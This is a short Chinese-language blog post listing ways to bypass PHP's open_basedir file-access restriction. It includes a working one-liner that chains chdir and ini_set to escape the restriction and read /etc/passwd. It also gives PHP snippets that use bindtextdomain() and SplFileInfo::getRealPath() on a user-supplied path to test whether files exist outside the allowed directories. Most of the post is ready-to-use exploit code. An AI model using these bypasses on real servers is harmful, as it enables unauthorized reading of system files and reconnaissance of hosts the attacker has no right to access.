浅谈绕过open_basedir

0x01 open_basedir

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

绕过姿势

1、利用命令执行函数bypass

2、推特最新Bypass

1
mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));

3、glob://伪协议Bypass

只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

4、利用bindtextdomain()函数Bypass

1
2
3
4
5
<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

这里有个鸡肋,只能爆破文件是否存在,读不了内容,列不了目录。

5、利用SplFileInfo::getRealPath()类方法Bypass

1
2
3
4
5
<?php
echo '<b>open_basedir: ' . ini_get('open_basedir') . '</b><br />';
$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());
?>

这里有个鸡肋,只能爆破文件是否存在,读不了内容,列不了目录。

-------------本文结束感谢您的阅读-------------